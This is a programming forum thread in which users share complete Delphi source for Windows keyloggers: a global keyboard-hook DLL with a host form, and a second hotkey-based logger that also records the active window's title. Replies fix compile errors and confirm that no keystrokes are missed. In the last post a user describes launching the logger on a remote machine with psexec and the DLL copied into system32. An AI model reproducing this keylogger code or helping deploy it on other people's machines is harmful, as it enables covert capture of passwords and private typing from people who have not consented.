Keylogger/keySpy ??

Do you want to collect the information on the same machine or on a networked machine.

For local machines try locating:
Delphi Developer's Guide by Xavier Pacheco & Steve Teixeira, First Ed.
Read Pages 531-540. You'll have to make some modifications to the code, but you can capture the keypresses and post them to an ascii file instead of a message list.

For networked machines: Take a look at the Fastnet Components (Delphi 5) You may be able to create a COM Add-in that can send the keypresses over a TCP/IP network.

What your asking for looks fairly straight forward but will take some work.

Something like this?

First create a DLL to be called by your programme:

library HookDLL;

uses
  Windows, Messages;

{ Define a record for recording and passing information process wide }  
type
  PHookRec = ^THookRec;
  THookRec = packed record
    TheHookHandle: HHOOK;
    TheAppWinHandle: HWND;
    TheCtrlWinHandle: HWND;
    TheKeyCount: DWORD;
    TheMessage: UINT;
    isPaused: Boolean;
  end;

const
  kbAlt = $0001;
  kbCtrl = $0002;
  kbShift = $0004;

var
  hObjHandle: THandle; { Variable for the file mapping object }
  lpHookRec: PHookRec; { Pointer to our hook record }

procedure MapFileMemory(dwAllocSize : DWORD);
begin
  { Create a process wide memory mapped variable }
  hObjHandle := CreateFileMapping($FFFFFFFF,
                  nil,
                  PAGE_READWRITE,
                  0,
                  dwAllocSize,
                  '1377KeyLog');
  if (hObjHandle = 0) then
  begin
    MessageBox(0, '1377KeyLog',
      'Could not create file map object', MB_OK);
    Exit;
  end;
  { Get a pointer to our process wide memory mapped variable }
  lpHookRec := MapViewOfFile(hObjHandle,
                 FILE_MAP_WRITE,
                 0,
                 0,
                 dwAllocSize);
  if (lpHookRec = nil) then
  begin
    CloseHandle(hObjHandle);
    MessageBox(0,
      '1377KeyLog',
      'Could not map file',
      MB_OK);
    Exit;
  end;
end;

procedure UnMapFileMemory;
begin
  { Delete our process wide memory mapped variable }
  if (lpHookRec <> nil) then
  begin
    UnMapViewOfFile(lpHookRec);
    lpHookRec := nil;
  end;
  if (hObjHandle > 0) then
  begin
    CloseHandle(hObjHandle);
    hObjHandle := 0;
  end;
end;

procedure PauseHook(Pause: Boolean); stdcall;
begin
  lpHookRec^.isPaused := Pause;
end;

function GetPauseStatus: Boolean; stdcall;
begin
  Result := lpHookRec^.isPaused;
end;

function GetHookRecPointer: Pointer; stdcall;
begin
  { Return a pointer to our process wide memory mapped variable }
  Result := lpHookRec;
end;

{The function that actually processes the keystrokes for our hook}
function KeyBoardProc(Code: Integer;
           wParam: Integer;
           lParam: Integer): Integer; stdcall;
var
  KeyUp: Boolean;
  IsAltPressed: Boolean;
  IsCtrlPressed: Boolean;
  IsShiftPressed: Boolean;
  ControlState: Integer;
begin
  Result := 0;

  if (not lpHookRec^.isPaused) and (Code >= 0) then
    case Code of
      HC_ACTION:
        begin
          { We trap the keystrokes here }

          { Is this a key up message? }
          KeyUp := ((lParam and (1 shl 31)) <> 0);

          if (wParam = 16) // shift
            or (wParam = 17) // ctrl
            or (wParam = 18) // alt
          then
            Exit; // don't send

          // is the Alt key pressed
          IsAltPressed := (lParam and (1 shl 29)) <> 0;
          IsCtrlPressed := (GetKeyState(VK_CONTROL) and (1 shl 15)) <> 0;
          IsShiftPressed := (GetKeyState(VK_SHIFT) and (1 shl 15)) <> 0;

          ControlState := 0;
          if IsAltPressed then
            ControlState := kbAlt;
          if IsCtrlPressed then
            ControlState := ControlState or kbCtrl;
          if IsShiftPressed then
            ControlState := ControlState or kbShift;

          // if KeyUp then increment the key count
          if KeyUp <> False then
          begin
            Inc(lpHookRec^.TheKeyCount);
            PostMessage(lpHookRec^.TheCtrlWinHandle,
              lpHookRec^.TheMessage,
              wParam, // send the virtual code
              ControlState);
          end;
        end; {HC_ACTION}
      HC_NOREMOVE:
        begin
          { This is a keystroke message, but the keystroke message }
          { has not been removed from the message queue, since an }
          { application has called PeekMessage() specifying PM_NOREMOVE }
          Result := 0;
          Exit;
        end;
    end; {case code}

  if (Code < 0) then
    { Call the next hook in the hook chain }
    Result := CallNextHookEx(lpHookRec^.TheHookHandle,
                Code,
                wParam,
                lParam);
end;

procedure StartKeyBoardHook; stdcall;
begin
  { if we have a process wide memory variable }
  { and the hook has not already been set... }
  if ((lpHookRec <> nil) and
    (lpHookRec^.TheHookHandle = 0)) then
  begin
    { Set the hook and remember our hook handle }
    lpHookRec^.TheHookHandle := SetWindowsHookEx(WH_KEYBOARD,
                                  @KeyBoardProc,
                                  hInstance,
                                  0);
    lpHookRec^.isPaused := False;
  end;
end;

procedure StopKeyBoardHook; stdcall;
begin
  { if we have a process wide memory variable }
  { and the hook has already been set... }
  if ((lpHookRec <> nil) and
     (lpHookRec^.TheHookHandle <> 0)) then
    {Remove our hook and clear our hook handle}
    if (UnHookWindowsHookEx(lpHookRec^.TheHookHandle) <> False) then
      lpHookRec^.TheHookHandle := 0;
end;

procedure DllEntryPoint(dwReason : DWORD);
begin
  case dwReason of
    Dll_Process_Attach:
      begin
        { if we are getting mapped into a process, then get }
        { a pointer to our process wide memory mapped variable }
        hObjHandle := 0;
        lpHookRec := NIL;
        MapFileMemory(sizeof(lpHookRec^));
      end;
    Dll_Process_Detach:
      { if we are getting unmapped from a process then, remove }
      { the pointer to our process wide memory mapped variable }
      UnMapFileMemory;
  end;
end;

exports
  KeyBoardProc name 'KEYBOARDPROC',
  GetHookRecPointer name 'GETHOOKRECPOINTER',
  StartKeyBoardHook name 'STARTKEYBOARDHOOK',
  StopKeyBoardHook name 'STOPKEYBOARDHOOK',
  PauseHook name 'PAUSEHOOK',
  GetPauseStatus name 'GETPAUSESTATUS';

begin
  { Set our Dll's main entry point }
  DLLProc := @DllEntryPoint;
  { Call our Dll's main entry point }
  DllEntryPoint(Dll_Process_Attach);
end.


And then in your programme:

type
  // functions prototypes for the hook dll
  TGetHookRecPointer = function: Pointer; stdcall;
  TPauseHook = procedure (Pause: Boolean); stdcall;
  TGetPauseStatus = function: Boolean; stdcall;
  TStartKeyBoardHook = procedure; stdcall;
  TStopKeyBoardHook = procedure; stdcall;

  // record type filled in by the hook dll}
  THookRec = packed record
    TheHookHandle: HHOOK;
    TheAppWinHandle: HWND;
    TheCtrlWinHandle: HWND;
    TheKeyCount: DWORD;
    TheMessage: UINT;
    isPaused: Boolean;
  end;

  // pointer type to the hook record}
  PHookRec = ^THookRec;

const
  Hook_Dll = 'HOOKDLL.DLL';
  kbAlt = $0001;
  kbCtrl = $0002;
  kbShift = $0004;

var
  hHookLib: THandle; // handle to the hook dll
  // function pointers
  GetHookRecPointer: TGetHookRecPointer;
  StartKeyboardHook: TStartKeyBoardHook;
  StopKeyboardHook: TStopKeyBoardHook;
  GetPauseStatus: TGetPauseStatus;
  PauseHook: TPauseHook;
  LibLoadSuccess: Boolean = False; // is the hook lib was successfully loaded?
  lpHookRec: PHookRec = nil; // pointer to the hook record
  MessageToIntercept: UINT;

procedure TfrmKeyLogger.FormCreate(Sender: TObject);
begin
  // get ourselves a unique message id
  MessageToIntercept := RegisterWindowMessage('1377KeyLog');

  // initialize
  @GetHookRecPointer := nil;
  @StartKeyboardHook := nil;
  @StopKeyboardHook := nil;
  @PauseHook := nil;
  @GetPauseStatus := nil;

  hHookLib := LoadLibrary(Hook_Dll);
  // now get the addresses for the procs
  if hHookLib <> 0 then
  begin
    @GetHookRecPointer :=
      GetProcAddress(hHookLib, 'GETHOOKRECPOINTER');
    @StartKeyboardHook :=
      GetProcAddress(hHookLib, 'STARTKEYBOARDHOOK');
    @StopKeyboardHook :=
      GetProcAddress(hHookLib, 'STOPKEYBOARDHOOK');
    @PauseHook :=
      GetProcAddress(hHookLib, 'PAUSEHOOK');
    @GetPauseStatus :=
      GetProcAddress(hHookLib, 'GETPAUSESTATUS');
    // check if we get everything correctly
    if (@GetHookRecPointer <> nil) and
      (@StartKeyboardHook <> nil) and
      (@StopKeyboardHook <> nil) and
      (@PauseHook <> nil) and
      (@GetPauseStatus <> nil) then
    begin
      LibLoadSuccess := True;
      lpHookRec := GetHookRecPointer;
      if lpHookRec <> nil then
      begin
        lpHookRec^.TheHookHandle := 0;
        lpHookRec^.TheKeyCount := 0;
        lpHookRec^.TheCtrlWinHandle := Handle;
        lpHookRec^.TheMessage := MessageToIntercept;
        // start!
        StartKeyboardHook;
      end else
      begin
        // something's wrong... we can't find some function(s)
        FreeLibrary(hHookLib);
        hHookLib := 0;
        @GetHookRecPointer := nil;
        @StartKeyboardHook := nil;
        @StopKeyboardHook := nil;
        @PauseHook := nil;
        @GetPauseStatus := nil;
      end;
    end;
  end;

  NeedReturn := False;
end;

procedure TfrmKeyLogger.FormDestroy(Sender: TObject);
begin
  if LibLoadSuccess then
  begin
    if lpHookRec <> nil then
      if lpHookRec^.TheHookHandle <> 0 then
        StopKeyboardHook;
    FreeLibrary(hHookLib);
  end;
end;

procedure TfrmKeyLogger.WndProc(var Msg: TMessage);
var
  Key: string;
begin
  if Msg.Msg = MessageToIntercept then
  begin
    Key := MatchCode(Msg.WParam);

    if (Length(Key) = 1) and ((Msg.LParam = kbShift) or (Msg.LParam = 0)) then
    begin
      if Msg.lParam <> 0 then
        Key := MapKey(Key[1]);

      if NeedReturn then
      begin
        Memo1.Lines.Add('');
        NeedReturn := False;
      end;

      Memo1.Lines.Text := Memo1.Lines.Text + Key;
    end else
    begin
      if (Msg.LParam and kbShift) = kbShift then
        Key := 'Shift + ' + Key;
      if (Msg.LParam and kbAlt) = kbAlt then
        Key := 'Alt + ' + Key;
      if (Msg.LParam and kbCtrl) = kbCtrl then
        Key := 'Ctrl + ' + Key;

      Memo1.Lines.Add(Key);
      NeedReturn := True;
    end;
  end else
    inherited;
end;



Hope it helps!


DragonSlayer.

DragonSlayer do you have the similar code to make and use a mouse hook?
Then I would like to post a question to you about that :)

Damn stupid me, sorry Dennis9 I didn't hit the comment button. Please reject this "answer"

I do not have one, but it won't be hard to create one.

substitute WH_KEYBOARD to WH_MOUSE in the call to SetWindowsHookEx.

Also, the hook procedure needs to be modified.
The lParam for the hook procedure now points to a MOUSEHOOKSTRUCT structure.

The MouseHookStruct structure will give you information regarding the mouse coordinate (as a TPoint), the window that will receive the mouse event, and also the hit test information (HTBOTTOM, HTCAPTION, etc etc).



DragonSlayer.

DragonSlayer: Do u have any special things in the Uses?

It says:
Undeclared identifier: 'MapKey'
Undeclared identifier: 'NeedReturn'

Or u have some functions u forgot to add?


But thanks for the code - it was just what i wanted, if it work ;)

Dennis

Hi Dennis9,

here is my very old sample, doesn't tested for W2K but still works for NT4.

------
Igor.

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;

type
  TForm1 = class(TForm)
    Listbox1: TListBox;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  public
    procedure WMHotKey(var Msg : TWMHotKey); message WM_HOTKEY;
    procedure RegKeys;
    procedure UnRegKeys;
  end;                    

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.RegKeys;
var I : integer;
begin
   for I:=0 to 255 do
   if I<>16 then // skip [Shift]
   begin
     RegisterHotKey(Handle,I,0,I);
     RegisterHotKey(Handle,I+256,MOD_SHIFT,I);
   end;
end;

procedure TForm1.UnRegKeys;
var I : integer;
begin
  for I:=0 to 511 do
  UnregisterHotKey(Handle,I);
end;

procedure TForm1.WMHotKey(var Msg : TWMHotKey);
var NameBuf  : array[0..1000] of char;
    FormName : string;
    Key      : string;
    Ch       : char;
begin
   SetLength(FormName,GetWindowText(GetForegroundWindow,@NameBuf,1000));
   Move(NameBuf,pointer(FormName)^,length(FormName));

   if MSG.HotKey > 255 then
   begin
     MSG.HotKey:=MSG.HotKey-256;
     Key:='[Shift]+';
   end else Key:='';

   Ch:=Char(MapVirtualKey(MSG.HotKey,2));
   if Ch = ' ' then Key:=Key+'[ ]' else
   if Ch in [#33..#127]
      then Key:=Key+Ch
      else Key:=Key+'['+IntToStr(Msg.HotKey)+']';
   Listbox1.Items.Add(Key+' '+FormName);
   Listbox1.ItemIndex:=Listbox1.Items.Count-1;
   UnregKeys; // avoid recursion
   keybd_event(MSG.HotKey,MSG.HotKey,0,0);
   RegKeys;
end;


procedure TForm1.FormCreate(Sender: TObject);
begin
   RegKeys;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
   UnregKeys;
end;

end.

Oops sorry

MapKey was just a function that I did to map the keys to their more 'user-friendly' values such as PageUp, PageDown, Return, etc etc

You can just ignore it and set it to be Key[1] instead of MapKey[1]

NeedReturn is just a boolean variable that I used to keep track whether I have any extra lines in my Memo... you may ignore that as well :)

Listening...

DragonSlayer:
The MapKey function u had, does it work well?
I need a function like that, may i have it?

Thanks

Dennis

Yeah! It's great code. Would you mind posting the NeedReturn function as well? Thanks!

NeedReturn is just a Boolean variable :)

Okay! Thanks!

Hi again! I'd also like to ask if the code you posted works on all Windows versions. Also, I'd like to know if this Keylogger is 100% reliable meaning there won't be any skipped keys even if I type very fast. Thanks!

DelFreak,

I've tried it on Win9x and 2K (SP1 & 2). Didn't try it on NT though I do not see any reason why it should not work.

And in theory, KeyLogger should be able to receive message about *every* key that is pressed, unless of course, you have filled up your keyboard buffer (in that case, even Windows can't get anything you type!).

Do tell me if you are developing any super duper utility with this code... :)



DragonSlayer

Actually, I'm upgrading a program that my company uses. Luckily, I saw this thread. Anyway, the old program used the Xacker KeySpy component which was essentially timer-based. I observed that when you typed very fast, it missed a lot of keys. I was just wondering if the same problem would occur with your code. Please advise. Thanks!

AFAIK, no :)

AFAIK? What does that mean? Anyway, I tried compiling the code and it gave me an error regarding WndProc. Why does that happen? How can I fix it? Thanks!

AFAIK = As Far As I Know :)


You need to declare this in your Form's private/protected/public section

procedure WndProc(var Msg: TMessage); override;



DragonSlayer

Oh! Okay... I forgot about that. Thanks!

nicde code ;-)

DragonSlayer,

I've makikng a little keylogger with your code, it work really nice when i execute it on my computer.
Now I want to remote exec it with psexec, and then, the process is launched, the texte file is saved, but there is nothing in the memo to be saved ;-(

note :
   - i have change the dll path to "%systemRoot%\system32\hookDLL.dll"
   - all files are copied to the remote machine...

please help !